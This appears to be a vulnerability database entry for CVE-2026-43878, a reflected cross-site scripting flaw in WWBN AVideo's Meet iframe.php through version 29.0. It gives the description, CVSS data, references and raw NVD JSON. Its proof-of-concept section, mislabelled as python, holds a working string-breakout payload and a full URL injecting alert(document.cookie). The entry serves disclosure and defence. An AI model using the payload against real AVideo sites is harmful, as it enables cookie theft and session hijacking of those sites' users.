CVE-2026-43878

Description

WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target. Commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b contains an updated fix.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WWBN AVideo <= 29.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// The following URL demonstrates the vulnerability.
// By injecting a double quote, we break out of the string literal
// and execute arbitrary JavaScript.

// Target URL format:
// https://[target-domain]/plugin/Meet/iframe.php?user=[PAYLOAD]&pass=test

// Payload to execute alert(1):
// "; alert(1); //

// Full Example URL:
// https://example.com/plugin/Meet/iframe.php?user=%22%3B%20alert%28document.cookie%29%3B%20%2F%2F&pass=test

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43878
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43878
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43878/
[4] VulDB https://vuldb.com/cve/CVE-2026-43878
[5] https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b
[6] https://github.com/WWBN/AVideo/security/advisories/GHSA-mm5f-8q57-4fc4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43878", "sourceIdentifier": "[email protected]", "published": "2026-05-11T22:22:12.257", "lastModified": "2026-05-11T22:22:12.257", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target. Commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b contains an updated fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b", "source": "[email protected]"}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mm5f-8q57-4fc4", "source": "[email protected]"}]}}